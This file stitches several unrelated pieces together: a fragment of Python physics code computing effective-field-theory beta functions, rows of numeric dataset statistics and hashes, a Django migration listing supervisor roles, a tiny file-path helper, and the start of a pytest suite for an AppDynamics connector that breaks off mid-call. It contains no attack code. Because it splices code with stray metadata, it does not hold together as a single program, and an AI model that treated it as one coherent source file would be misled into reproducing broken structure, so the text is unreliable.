6*Cd - 10*CA)*g**2*(my_einsum("pw,rw,st",C["uG"],C["uG"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["dG"].conj(),C["dG"],C["delta"])) - 16*e*g*qd*(my_einsum("pw,rw,st",C["ugamma"],C["uG"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["uG"],C["ugamma"].conj(),C["delta"])) - 16*e*g*qu*(my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dG"],C["delta"]) + my_einsum("ws,wt,pr",C["dG"].conj(),C["dgamma"],C["delta"])) - ((16)/(3))*g**2*(my_einsum("pw,rw,st",C["ugamma"],C["ugamma"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dgamma"],C["delta"])) + 2*g**2*zetag*my_einsum("pr,st",C["delta"],C["delta"]) Beta["V1duLR"] = ((4)/(3))*e**2*qd*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["V1duLR"]) + Nc*qd*my_einsum("pr,stww",C["delta"],C["V1udRR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1uuLR"]) + 2*my_einsum("pr,stww",C["delta"],C["VuuRR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VeuLR"]) + qe*my_einsum("pr,wwst",C["delta"],C["VeuRR"]) + 2*qu*my_einsum("pr,swwt",C["delta"],C["VuuRR"])) + ((4)/(3))*e**2*qu*(Nc*qd*2*my_einsum("st,prww",C["delta"],C["VddLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["V1ddLR"]) + Nc*qu*(my_einsum("st,wwpr",C["delta"],C["V1udLL"]) + my_einsum("st,prww",C["delta"],C["V1duLR"])) + qe*my_einsum("st,wwpr",C["delta"],C["VedLL"]) + qe*my_einsum("st,prww",C["delta"],C["VdeLR"]) + 2*qd*my_einsum("st,pwwr",C["delta"],C["VddLL"])) - 12*e**2*qd*qu*my_einsum("prst",C["V1duLR"]) - 6*g**2*((CF)/(Nc))*my_einsum("prst",C["V8duLR"]) - (((16)/(3))*CF*e**2*qu*qd + 24*g**2*C1)*(my_einsum("pw,rw,st",C["dG"],C["dG"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["uG"].conj(),C["uG"],C["delta"])) + 8*CF*e*g*qu*(my_einsum("pw,rw,st",C["dG"],C["dgamma"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["dgamma"],C["dG"].conj(),C["delta"])) + 8*CF*e*g*qd*(my_einsum("ws,wt,pr",C["uG"].conj(),C["ugamma"],C["delta"]) + my_einsum("ws,wt,pr",C["ugamma"].conj(),C["uG"],C["delta"])) + e**2*(((32)/(3))*qu*qd - 24*qu**2)*my_einsum("pw,rw,st",C["dgamma"],C["dgamma"].conj(),C["delta"]) + e**2*(((32)/(3))*qu*qd - 24*qd**2)*my_einsum("ws,wt,pr",C["ugamma"].conj(),C["ugamma"],C["delta"]) + 2*e**2*qu*qd*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["V8duLR"] = ((2)/(3))*g**2*(my_einsum("pr,wwst",C["delta"],C["V8duLR"]) + my_einsum("pr,stww",C["delta"],C["V8udRR"]) + my_einsum("pr,wwst",C["delta"],C["V8uuLR"]) + 4*my_einsum("pr,swwt",C["delta"],C["VuuRR"])) + ((2)/(3))*g**2*(4*my_einsum("st,pwwr",C["delta"],C["VddLL"]) + my_einsum("st,wwpr",C["delta"],C["V8udLL"]) + my_einsum("st,prww",C["delta"],C["V8duLR"]) + my_einsum("st,prww",C["delta"],C["V8ddLR"])) - 12*g**2*my_einsum("prst",C["V1duLR"]) - (12*e**2*qd*qu + 6*g**2*Nc - ((12*g**2)/(Nc)))*my_einsum("prst",C["V8duLR"]) + (((32)/(3))*CF - 6*Cd - 10*CA)*g**2*(my_einsum("pw,rw,st",C["dG"],C["dG"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["uG"].conj(),C["uG"],C["delta"])) - 16*e*g*qu*(my_einsum("pw,rw,st",C["dgamma"],C["dG"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["dG"],C["dgamma"].conj(),C["delta"])) - 16*e*g*qd*(my_einsum("ws,wt,pr",C["ugamma"].conj(),C["uG"],C["delta"]) + my_einsum("ws,wt,pr",C["uG"].conj(),C["ugamma"],C["delta"])) - ((16)/(3))*g**2*(my_einsum("pw,rw,st",C["dgamma"],C["dgamma"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["ugamma"].conj(),C["ugamma"],C["delta"])) + 2*g**2*zetag*my_einsum("pr,st",C["delta"],C["delta"]) Beta["V1ddLR"] = ((4)/(3))*e**2*qd*(Nc*qd*my_einsum("pr,wwst",C["delta"],C["V1ddLR"]) + 2*Nc*qd*my_einsum("pr,stww",C["delta"],C["VddRR"]) + Nc*qu*(my_einsum("pr,wwst",C["delta"],C["V1udLR"]) + my_einsum("pr,wwst",C["delta"],C["V1udRR"])) + qe*my_einsum("pr,wwst",C["delta"],C["VedLR"]) + qe*my_einsum("pr,wwst",C["delta"],C["VedRR"]) + 2*qd*my_einsum("pr,swwt",C["delta"],C["VddRR"])) + ((4)/(3))*e**2*qd*(Nc*qd*2*my_einsum("st,prww",C["delta"],C["VddLL"]) + Nc*qd*my_einsum("st,prww",C["delta"],C["V1ddLR"]) + Nc*qu*(my_einsum("st,wwpr",C["delta"],C["V1udLL"]) + my_einsum("st,prww",C["delta"],C["V1duLR"])) + qe*my_einsum("st,wwpr",C["delta"],C["VedLL"]) + qe*my_einsum("st,prww",C["delta"],C["VdeLR"]) + 2*qd*my_einsum("st,pwwr",C["delta"],C["VddLL"])) - 12*e**2*qd**2*my_einsum("prst",C["V1ddLR"]) - 6*g**2*((CF)/(Nc))*my_einsum("prst",C["V8ddLR"]) + (96*g**2*C1*((1)/(Nc)) + 24*g**2*Cd*((Nc**2 - 1)/(2*Nc**2)) + 48*e**2*qd**2*((Nc**2 - 1)/(2*Nc**2)))*my_einsum("pt,rs",C["dG"],C["dG"].conj()) - (((16)/(3))*CF*e**2*qd**2 + 24*g**2*C1)*(my_einsum("pw,rw,st",C["dG"],C["dG"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["dG"].conj(),C["dG"],C["delta"])) + 48*e*g*qd*((Nc**2 - 1)/(2*Nc**2))*(my_einsum("pt,rs",C["dgamma"],C["dG"].conj()) + my_einsum("pt,rs",C["dG"],C["dgamma"].conj())) + 8*CF*e*g*qd*(my_einsum("pw,rw,st",C["dG"],C["dgamma"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["dgamma"],C["dG"].conj(),C["delta"])) + 8*CF*e*g*qd*(my_einsum("ws,wt,pr",C["dG"].conj(),C["dgamma"],C["delta"]) + my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dG"],C["delta"])) + (96*e**2*qd**2*((1)/(Nc)) + 48*g**2*((Nc**2 - 1)/(2*Nc**2)))*my_einsum("pt,rs",C["dgamma"],C["dgamma"].conj()) - ((40)/(3))*e**2*qd**2*(my_einsum("pw,rw,st",C["dgamma"],C["dgamma"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dgamma"],C["delta"])) + 2*e**2*qd**2*zetae*my_einsum("pr,st",C["delta"],C["delta"]) Beta["V8ddLR"] = ((2)/(3))*g**2*(my_einsum("pr,wwst",C["delta"],C["V8udLR"]) + my_einsum("pr,wwst",C["delta"],C["V8ddLR"]) + 4*my_einsum("pr,swwt",C["delta"],C["VddRR"]) + my_einsum("pr,wwst",C["delta"],C["V8udRR"])) + ((2)/(3))*g**2*(4*my_einsum("st,pwwr",C["delta"],C["VddLL"]) + my_einsum("st,wwpr",C["delta"],C["V8udLL"]) + my_einsum("st,prww",C["delta"],C["V8duLR"]) + my_einsum("st,prww",C["delta"],C["V8ddLR"])) - 12*g**2*my_einsum("prst",C["V1ddLR"]) - (12*e**2*qd**2 + 6*g**2*Nc - ((12*g**2)/(Nc)))*my_einsum("prst",C["V8ddLR"]) + (192*g**2*C1 - 24*g**2*Cd*((1)/(Nc)) - 48*e**2*qd**2*((1)/(Nc)))*my_einsum("pt,rs",C["dG"],C["dG"].conj()) + (((32)/(3))*CF - 6*Cd - 10*CA)*g**2*(my_einsum("pw,rw,st",C["dG"],C["dG"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["dG"].conj(),C["dG"],C["delta"])) - 48*e*g*qd*((1)/(Nc))*(my_einsum("pt,rs",C["dgamma"],C["dG"].conj()) + my_einsum("pt,rs",C["dG"],C["dgamma"].conj())) - 16*e*g*qd*(my_einsum("pw,rw,st",C["dgamma"],C["dG"].conj(),C["delta"]) + my_einsum("pw,rw,st",C["dG"],C["dgamma"].conj(),C["delta"])) - 16*e*g*qd*(my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dG"],C["delta"]) + my_einsum("ws,wt,pr",C["dG"].conj(),C["dgamma"],C["delta"])) + (192*e**2*qd**2 - 48*g**2*((1)/(Nc)))*my_einsum("pt,rs",C["dgamma"],C["dgamma"].conj()) - ((16)/(3))*g**2*(my_einsum("pw,rw,st",C["dgamma"],C["dgamma"].conj(),C["delta"]) + my_einsum("ws,wt,pr",C["dgamma"].conj(),C["dgamma"],C["delta"])) + 2*g**2*zetag*my_einsum("pr,st",C["delta"],C["delta"]) Beta["V1udduLR"] = - 6*e**2*(qd**2 + qu**2)*my_einsum("prst",C["V1udduLR"]) - 6*g**2*((CF)/(Nc))*my_einsum("prst",C["V8udduLR"]) + (96*g**2*C1*((1)/(Nc)) + 24*g**2*Cd*((Nc**2 - 1)/(2*Nc**2)) + 48*e**2*qu*qd*((Nc**2 - 1)/(2*Nc**2)))*my_einsum("pt,rs",C["uG"],C["dG"].conj()) + 48*e*g*qd*((Nc**2 - 1)/(2*Nc**2))*my_einsum("pt,rs",C["ugamma"],C["dG"].conj()) + 48*e*g*qu*((Nc**2 - 1)/(2*Nc**2))*my_einsum("pt,rs",C["uG"],C["dgamma"].conj()) + (96*e**2*qu*qd*((1)/(Nc)) + 48*g**2*((Nc**2 - 1)/(2*Nc**2)))*my_einsum("pt,rs",C["ugamma"],C["dgamma"].conj()) Beta["V8udduLR"] = - 12*g**2*my_einsum("prst",C["V1udduLR"]) - (6*e**2*(qu**2 + qd**2) + 6*g**2*Nc - ((12*g**2)/(Nc)))*my_einsum("prst",C["V8udduLR"]) + (192*g**2*C1 - 24*g**2*Cd*((1)/(Nc)) - 48*e**2*qu*qd*((1)/(Nc)))*my_einsum("pt,rs",C["uG"],C["dG"].conj()) - 48*e*g*qd*((1)/(Nc))*my_einsum("pt,rs",C["ugamma"],C["dG"].conj()) - 48*e*g*qu*((1)/(Nc))*my_einsum("pt,rs",C["uG"],C["dgamma"].conj()) + (192*e**2*qu*qd - 48*g**2*((1)/(Nc)))*my_einsum("pt,rs",C["ugamma"],C["dgamma"].conj()) # \psi^4: (\overline L R)*(\overline L R) Beta["SeeRR"] = 16*e**2*qe**2*my_einsum("ptsr",C["SeeRR"]) - 4*e**2*qe**2*my_einsum("prst",C["SeeRR"]) - 96*e**2*qe**2*my_einsum("pr,st",C["egamma"],C["egamma"]) Beta["SeuRR"] = - (6*e**2*(qe**2 + qu**2) + 6*g**2*CF)*my_einsum("prst",C["SeuRR"]) - 96*e**2*qe*qu*my_einsum("prst",C["TeuRR"]) - 192*e**2*qe*qu*my_einsum("pr,st",C["egamma"],C["ugamma"]) Beta["TeuRR"] = - 2*e**2*qe*qu*my_einsum("prst",C["SeuRR"]) + (2*e**2*(qe**2 + qu**2) + 2*g**2*CF)*my_einsum("prst",C["TeuRR"]) Beta["SedRR"] = - (6*e**2*(qe**2 + qd**2) + 6*g**2*CF)*my_einsum("prst",C["SedRR"]) - 96*e**2*qe*qd*my_einsum("prst",C["TedRR"]) - 192*e**2*qe*qd*my_einsum("pr,st",C["egamma"],C["dgamma"]) Beta["TedRR"] = - 2*e**2*qd*qe*my_einsum("prst",C["SedRR"]) + (2*e**2*(qe**2 + qd**2) + 2*g**2*CF)*my_einsum("prst",C["TedRR"]) Beta["SnueduRR"] = - (6*e**2*qu*qd + 6*g**2*CF)*my_einsum("prst",C["SnueduRR"]) + 24*e**2*(qu**2 - qd**2)*my_einsum("prst",C["TnueduRR"]) Beta["TnueduRR"] = ((1)/(2))*e**2*(qu**2 - qd**2)*my_einsum("prst",C["SnueduRR"]) - (2*e**2*(2*qe**2 - qe*qu - qu**2) - 2*g**2*CF)*my_einsum("prst",C["TnueduRR"]) Beta["S1uuRR"] = - (4*e**2*qu**2 + 12*g**2*CF)*my_einsum("prst",C["S1uuRR"]) + ((1)/(Nc))*(16*e**2*qu**2 + 16*g**2*CF)*my_einsum("ptsr",C["S1uuRR"]) + 4*g**2*((CF)/(Nc))*my_einsum("prst",C["S8uuRR"]) + ((1)/(Nc))*(16*e**2*qu**2*CF + 2*g**2*(((2)/(Nc**2)) + Nc**2 - 3))*my_einsum("ptsr",C["S8uuRR"]) - 96*g**2*C1*my_einsum("pr,st",C["uG"],C["uG"]) + 4*g**2*CA*((Nc**2 - 1)/(Nc**2))*my_einsum("pt,sr",C["uG"],C["uG"]) - 96*e**2*qu**2*my_einsum("pr,st",C["ugamma"],C["ugamma"]) Beta["S8uuRR"] = 8*g**2*my_einsum("prst",C["S1uuRR"]) + (32*e**2*qu**2 - ((16*g**2)/(Nc)))*my_einsum("ptsr",C["S1uuRR"]) - (4*e**2*qu**2 - 4*g**2*CF)*my_einsum("prst",C["S8uuRR"]) - ((1)/(Nc))*(16*e**2*qu**2 - 4*g**2*(((2)/(Nc)) + Nc))*my_einsum("ptsr",C["S8uuRR"]) + (g**2*( - 24*Cd + 4*CA) - 48*e**2*qu**2)*my_einsum("pr,st",C["uG"],C["uG"]) - 8*g**2*((CA)/(Nc))*my_einsum("pt,sr",C["uG"],C["uG"]) - 48*e*g*qu*(my_einsum("pr,st",C["uG"],C["ugamma"]) + my_einsum("pr,st",C["ugamma"],C["uG"])) - 48*g**2*my_einsum("pr,st",C["ugamma"],C["ugamma"]) Beta["S1udRR"] = - (2*e**2*(3*qu**2 - 4*qu*qd + 3*qd**2) + 12*g**2*CF)*my_einsum("prst",C["S1udRR"]) + ((1)/(Nc))*(4*e**2*(qu + qd)**2 + 16*g**2*CF)*my_einsum("ptsr",C["S1udduRR"]) + 4*g**2*((CF)/(Nc))*my_einsum("prst",C["S8udRR"]) + ((1)/(Nc))*(4*e**2*(qu + qd)**2*CF + 2*g**2*(((2)/(Nc**2)) + Nc**2 - 3))*my_einsum("ptsr",C["S8udduRR"]) - 192*g**2*C1*my_einsum("pr,st",C["uG"],C["dG"]) - 192*e**2*qu*qd*my_einsum("pr,st",C["ugamma"],C["dgamma"]) Beta["S8udRR"] = 8*g**2*my_einsum("prst",C["S1udRR"]) + (8*e**2*(qu + qd)**2 - ((16*g**2)/(Nc)))*my_einsum("ptsr",C["S1udduRR"]) - (2*e**2*(3*qu**2 - 4*qu*qd + 3*qd**2) - 4*g**2*CF)*my_einsum("prst",C["S8udRR"]) - ((1)/(Nc))*(4*e**2*(qu + qd)**2 - 4*g**2*(((2)/(Nc)) + Nc))*my_einsum("ptsr",C["S8udduRR"]) + (g**2*( - 48*Cd + 8*CA) - 96*e**2*qu*qd)*my_einsum("pr,st",C["uG"],C["dG"]) - 96*e*g*qu*my_einsum("pr,st",C["uG"],C["dgamma"]) - 96*e*g*qd*my_einsum("pr,st",C["ugamma"],C["dG"]) - 96*g**2*my_einsum("pr,st",C["ugamma"],C["dgamma"]) Beta["S1ddRR"] = - (4*e**2*qd**2 + 12*g**2*CF)*my_einsum("prst",C["S1ddRR"]) + ((1)/(Nc))*(16*e**2*qd**2 + 16*g**2*CF)*my_einsum("ptsr",C["S1ddRR"]) + 4*g**2*((CF)/(Nc))*my_einsum("prst",C["S8ddRR"]) + ((1)/(Nc))*(16*e**2*qd**2*CF + 2*g**2*(((2)/(Nc**2)) + Nc**2 - 3))*my_einsum("ptsr",C["S8ddRR"]) - 96*g**2*C1*my_einsum("pr,st",C["dG"],C["dG"]) + 4*g**2*CA*((Nc**2 - 1)/(Nc**2))*my_einsum("pt,sr",C["dG"],C["dG"]) - 96*e**2*qd**2*my_einsum("pr,st",C["dgamma"],C["dgamma"]) Beta["S8ddRR"] = 8*g**2*my_einsum("prst",C["S1ddRR"]) + (32*e**2*qd**2 - ((16*g**2)/(Nc)))*my_einsum("ptsr",C["S1ddRR"]) - (4*e**2*qd**2 - 4*g**2*CF)*my_einsum("prst",C["S8ddRR"]) - ((1)/(Nc))*(16*e**2*qd**2 - 4*g**2*(((2)/(Nc)) + Nc))*my_einsum("ptsr",C["S8ddRR"]) + (g**2*( - 24*Cd + 4*CA) - 48*e**2*qd**2)*my_einsum("pr,st",C["dG"],C["dG"]) - 8*g**2*((CA)/(Nc))*my_einsum("pt,sr",C["dG"],C["dG"]) - 48*e*g*qd*(my_einsum("pr,st",C["dG"],C["dgamma"]) + my_einsum("pr,st",C["dgamma"],C["dG"])) - 48*g**2*my_einsum("pr,st",C["dgamma"],C["dgamma"]) Beta["S1udduRR"] = (2*e**2*(qu**2 - 4*qu*qd + qd**2) - 12*g**2*CF)*my_einsum("prst",C["S1udduRR"]) + ((1)/(Nc))*(16*e**2*qu*qd + 16*g**2*CF)*my_einsum("ptsr",C["S1udRR"]) + 4*g**2*((CF)/(Nc))*my_einsum("prst",C["S8udduRR"]) + ((1)/(Nc))*(16*e**2*qu*qd*CF + 2*g**2*(((2)/(Nc**2)) + Nc**2 - 3))*my_einsum("ptsr",C["S8udRR"]) + 8*g**2*CA*((Nc**2 - 1)/(Nc**2))*my_einsum("pt,sr",C["uG"],C["dG"]) Beta["S8udduRR"] = 8*g**2*my_einsum("prst",C["S1udduRR"]) + (2*e**2*(qu**2 - 4*qu*qd + qd**2) + 4*g**2*CF)*my_einsum("prst",C["S8udduRR"]) + (32*e**2*qd*qu - ((16*g**2)/(Nc)))*my_einsum("ptsr",C["S1udRR"]) - ((1)/(Nc))*(16*e**2*qd*qu - 4*g**2*(((2)/(Nc)) + Nc))*my_einsum("ptsr",C["S8udRR"]) - 16*g**2*((CA)/(Nc))*my_einsum("pt,sr",C["uG"],C["dG"]) # \psi^4: (\overline L R)*(\overline R L)\boldmath $\psi^4: (\overline # L R)*(overline R L) Beta["SeuRL"] = - (6*e**2*(qe**2 + qu**2) + 6*g**2*CF)*my_einsum("prst",C["SeuRL"]) - 192*e**2*qe*qu*my_einsum("pr,ts",C["egamma"],C["ugamma"].conj()) Beta["SedRL"] = - (6*e**2*(qe**2 + qd**2) + 6*g**2*CF)*my_einsum("prst",C["SedRL"]) - 192*e**2*qe*qd*my_einsum("pr,ts",C["egamma"],C["dgamma"].conj()) Beta["SnueduRL"] = - (6*e**2*qu*qd + 6*g**2*CF)*my_einsum("prst",C["SnueduRL"]) # \psi^4: \Delta L=4\boldmath $\psi^4: \Delta L=4$ #Beta["SnunuLL"] = 0 # \psi^4: \Delta L=2\boldmath $\psi^4: \Delta L=2$ #Beta["SnueLL"] = - 6*e**2*qe**2*my_einsum("prst",C["SnueLL"]) #Beta["TnueLL"] = 2*e**2*qe**2*my_einsum("prst",C["TnueLL"]) #Beta["SnueLR"] = - 6*e**2*qe**2*my_einsum("prst",C["SnueLR"]) #Beta["SnuuLL"] = - 6*(e**2*qu**2 + g**2*CF)*my_einsum("prst",C["SnuuLL"]) #Beta["TnuuLL"] = 2*(e**2*qu**2 + g**2*CF)*my_einsum("prst",C["TnuuLL"]) #Beta["SnuuLR"] = - 6*(e**2*qu**2 + g**2*CF)*my_einsum("prst",C["SnuuLR"]) #Beta["SnudLL"] = - 6*(e**2*qd**2 + g**2*CF)*my_einsum("prst",C["SnudLL"]) #Beta["TnudLL"] = 2*(e**2*qd**2 + g**2*CF)*my_einsum("prst",C["TnudLL"]) #Beta["SnudLR"] = - 6*(e**2*qd**2 + g**2*CF)*my_einsum("prst",C["SnudLR"]) #Beta["SnueduLL"] = - 6*(e**2*qu*qd + g**2*CF)*my_einsum("prst",C["SnueduLL"]) + 24*e**2*(qu**2 - qd**2)*my_einsum("prst",C["TnueduLL"]) #Beta["TnueduLL"] = (2*e**2*(qu**2 + qu*qe - 2*qe**2) + 2*g**2*CF)*my_einsum("prst",C["TnueduLL"]) + ((1)/(2))*e**2*(qu**2 - qd**2)*my_einsum("prst",C["SnueduLL"]) #Beta["SnueduLR"] = - 6*(e**2*qu*qd + g**2*CF)*my_einsum("prst",C["SnueduLR"]) #Beta["VnueduRL"] = - 6*e**2*qe*qd*my_einsum("prst",C["VnueduRL"]) #Beta["VnueduRR"] = 6*e**2*qe*qu*my_einsum("prst",C["VnueduRR"]) # \psi^4: \Delta B=\Delta L=1\boldmath $\psi^4: \Delta B=\Delta L=1$ Beta["SuddLL"] = ( - 4*g**2 + e**2*(6*qu*qd - 2*(qu - qd)*qd))*my_einsum("prst",C["SuddLL"]) + 4*e**2*(qu - qd)*qd*my_einsum("psrt",C["SuddLL"]) Beta["SduuLL"] = ( - 4*g**2 + e**2*(6*(qd*qu + qu*qe) - 2*(qd - qu)*(qu - qe)))*my_einsum("prst",C["SduuLL"]) + 4*e**2*(qd - qu)*(qu - qe)*my_einsum("psrt",C["SduuLL"]) Beta["SuudLR"] = ( - 4*g**2 + 6*e**2*(qu**2 + qd*qe))*my_einsum("prst",C["SuudLR"]) Beta["SduuLR"] = ( - 4*g**2 + 6*e**2*(qd*qu + qu*qe))*my_einsum("prst",C["SduuLR"]) Beta["SuudRL"] = ( - 4*g**2 + 6*e**2*(qu**2 + qd*qe))*my_einsum("prst",C["SuudRL"]) Beta["SduuRL"] = ( - 4*g**2 + 6*e**2*(qd*qu + qu*qe))*my_einsum("prst",C["SduuRL"]) Beta["SdudRL"] = ( - 4*g**2 + 6*e**2*qd*qu )*my_einsum("prst",C["SdudRL"]) Beta["SdduRL"] = ( - 4*g**2 + 6*e**2*qd**2)*my_einsum("prst",C["SdduRL"]) Beta["SduuRR"] = ( - 4*g**2 + e**2*(6*(qd*qu + qu*qe) - 2*(qd - qu)*(qu - qe)))*my_einsum("prst",C["SduuRR"]) + 4*e**2*(qd - qu)*(qu - qe)*my_einsum("psrt",C["SduuRR"]) # \psi^4: \Delta B = - \Delta L=1\boldmath $\psi^4: \Delta B = - \Delta L=1$ #Beta["SdddLL"] = ( - 4*g**2 + 6*e**2*(qd**2 - qe*qd))*my_einsum("prst",C["SdddLL"]) #Beta["SuddLR"] = ( - 4*g**2 + 6*e**2*qu*qd)*my_einsum("prst",C["SuddLR"]) #Beta["SdduLR"] = ( - 4*g**2 + 6*e**2*qd**2)*my_einsum("prst",C["SdduLR"]) #Beta["SdddLR"] = ( - 4*g**2 + 6*e**2*(qd**2 - qe*qd))*my_einsum("prst",C["SdddLR"]) #Beta["SdddRL"] = ( - 4*g**2 + 6*e**2*(qd**2 - qe*qd))*my_einsum("prst",C["SdddRL"]) #Beta["SuddRR"] = ( - 4*g**2 + e**2*(6*qu*qd - 2*(qu - qd)*qd))*my_einsum("prst",C["SuddRR"]) + 4*e**2*(qu - qd)*qd*my_einsum("ptsr",C["SuddRR"]) #Beta["SdddRR"] = ( - 4*g**2 + 6*e**2*(qd**2 - qe*qd))*my_einsum("prst",C["SdddRR"]) return Beta
281.918728
3,334
0.525074
15,544
79,783
2.620625
0.015376
0.225064
0.083687
0.050522
0.945771
0.924758
0.90286
0.863925
0.81306
0.750338
0
0.035243
0.089555
79,783
282
3,335
282.91844
0.525551
0.14913
0
0
0
0
0.263289
0
0
0
0
0
0
1
0.009009
false
0
0.027027
0
0.045045
0
0
0
0
null
1
0
0
1
1
1
1
1
1
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
6e1df2eb66b68985244dcd1bb017874e2ca4c5e6
2,171
py
Python
printapp/migrations/0006_auto_20180218_2155.py
sumanlearning/potpapa2018
1557dd5aca645cb55a08e5b92623804e51fa8dfe
[ "Unlicense" ]
null
null
null
printapp/migrations/0006_auto_20180218_2155.py
sumanlearning/potpapa2018
1557dd5aca645cb55a08e5b92623804e51fa8dfe
[ "Unlicense" ]
null
null
null
printapp/migrations/0006_auto_20180218_2155.py
sumanlearning/potpapa2018
1557dd5aca645cb55a08e5b92623804e51fa8dfe
[ "Unlicense" ]
null
null
null
# Generated by Django 2.0.2 on 2018-02-18 14:55 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('printapp', '0005_auto_20180218_2153'), ] operations = [ migrations.AlterField( model_name='ppm', name='anggota', field=models.CharField(choices=[('SPS POH', 'Supervisor Senior Perencanaan Operasi Pemeliharaan'), ('SPS HPL', 'Supervisor Senior Pemeliharaan Sipil'), ('SPS GHW', 'Supervisor Senior Geologi dan Hidrologi Waduk'), ('SPS LLK', 'Supervisor Senior Lahan dan Lingkungan'), ('SPS KKK', 'Supervisor Senior Kesehatan dan Keselamatan Kerja'), ('SPS CBM', 'Supervisor Senior Condition Based Monitoring'), ('SPS OTG', 'Supervisor Senior Outage'), ('SPS REO', 'Supervisor Senior Reliability'), ('SPS PUK', 'Supervisor Senior Perencanaan Unit dan Kinerja'), ('SPS MUM', 'Supervisor Senior Umum'), ('SPS KAS', 'Supervisor Senior Keamanan dan Humas'), ('SPS SIS', 'Supervisor Senior Sistem Informasi'), ('SPS HAR', 'Supervisor Senior Pemeliharaan'), ('SPS OPN', 'Supervisor Senior Operasi'), ('AMU RENOP', 'AMU Perencanaan Operasi')], default='SPS HAR', max_length=9), ), migrations.AlterField( model_name='ppm', name='sekretaris', field=models.CharField(choices=[('SPS POH', 'Supervisor Senior Perencanaan Operasi Pemeliharaan'), ('SPS HPL', 'Supervisor Senior Pemeliharaan Sipil'), ('SPS GHW', 'Supervisor Senior Geologi dan Hidrologi Waduk'), ('SPS LLK', 'Supervisor Senior Lahan dan Lingkungan'), ('SPS KKK', 'Supervisor Senior Kesehatan dan Keselamatan Kerja'), ('SPS CBM', 'Supervisor Senior Condition Based Monitoring'), ('SPS OTG', 'Supervisor Senior Outage'), ('SPS REO', 'Supervisor Senior Reliability'), ('SPS PUK', 'Supervisor Senior Perencanaan Unit dan Kinerja'), ('SPS MUM', 'Supervisor Senior Umum'), ('SPS KAS', 'Supervisor Senior Keamanan dan Humas'), ('SPS SIS', 'Supervisor Senior Sistem Informasi'), ('SPS HAR', 'Supervisor Senior Pemeliharaan'), ('SPS OPN', 'Supervisor Senior Operasi'), ('AMU RENOP', 'AMU Perencanaan Operasi')], default='SPS POH', max_length=9), ), ]
90.458333
866
0.688623
251
2,171
5.928287
0.326693
0.301075
0.072581
0.038978
0.869624
0.869624
0.821237
0.821237
0.821237
0.821237
0
0.018222
0.165822
2,171
23
867
94.391304
0.803424
0.020728
0
0.352941
1
0
0.632768
0.010829
0
0
0
0
0
1
0
false
0
0.058824
0
0.235294
0.058824
0
0
0
null
1
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
6e39063f7ee8ed79abf6fe2963104e85f0b0b800
136
py
Python
src/fileutils.py
jpatnayk/i3wm-themer
8e2a63c690b2b08b0ef47ca4ad9397d570c51fab
[ "MIT" ]
1
2021-02-23T00:05:56.000Z
2021-02-23T00:05:56.000Z
src/fileutils.py
jpatnayk/i3wm-themer
8e2a63c690b2b08b0ef47ca4ad9397d570c51fab
[ "MIT" ]
null
null
null
src/fileutils.py
jpatnayk/i3wm-themer
8e2a63c690b2b08b0ef47ca4ad9397d570c51fab
[ "MIT" ]
null
null
null
import os.path def locate_folder( path ): return os.path.isdir( path ) def locate_file( path ): return os.path.isfile( path )
17
33
0.683824
21
136
4.333333
0.47619
0.197802
0.285714
0.351648
0
0
0
0
0
0
0
0
0.205882
136
7
34
19.428571
0.842593
0
0
0
0
0
0
0
0
0
0
0
0
1
0.4
false
0
0.2
0.4
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
6e533fd6fe8c56f434b89903ba1d1968469caf1f
23,285
py
Python
servo_appdynamics_test.py
opsani/servo-appdynamics
8d977ec06fa4ae30779e34487c34d83f4eb33595
[ "Apache-2.0" ]
null
null
null
servo_appdynamics_test.py
opsani/servo-appdynamics
8d977ec06fa4ae30779e34487c34d83f4eb33595
[ "Apache-2.0" ]
36
2021-03-04T07:22:10.000Z
2022-03-31T08:09:36.000Z
servo_appdynamics_test.py
opsani/servo-appdynamics
8d977ec06fa4ae30779e34487c34d83f4eb33595
[ "Apache-2.0" ]
null
null
null
import pytest import datetime import re import httpx import respx import freezegun import pydantic import servo from servo.types import * from servo_appdynamics import ( AppdynamicsChecks, AppdynamicsConfiguration, AppdynamicsMetric, AppdynamicsRequest, AppdynamicsConnector ) class TestAppdynamicsMetric: # Query def test_query_required(self): try: AppdynamicsMetric( name="throughput", unit=Unit.requests_per_minute, query=None ) except pydantic.ValidationError as error: assert { "loc": ("query",), "msg": "none is not an allowed value", "type": "type_error.none.not_allowed", } in error.errors() class TestAppdynamicsConfiguration: @pytest.fixture() def appdynamics_config(self) -> AppdynamicsConfiguration: return AppdynamicsConfiguration(metrics=[], username='user', password='pass', account='acc', app_id='app', tier='test-tier', ) def test_url_required(self, appdynamics_config): try: appdynamics_config except pydantic.ValidationError as error: assert { "loc": ("base_url",), "msg": "none is not an allowed value", "type": "type_error.none.not_allowed", } in error.errors() def test_supports_localhost_url(self): config = AppdynamicsConfiguration(base_url="http://localhost:8090", metrics=[], username='user', password='pass', account='acc', app_id='app', tier='test-tier', ) assert config.base_url == "http://localhost:8090" def test_supports_cluster_url(self): config = AppdynamicsConfiguration( base_url="http://appdynamics.com:8090", metrics=[], username='user', password='pass', 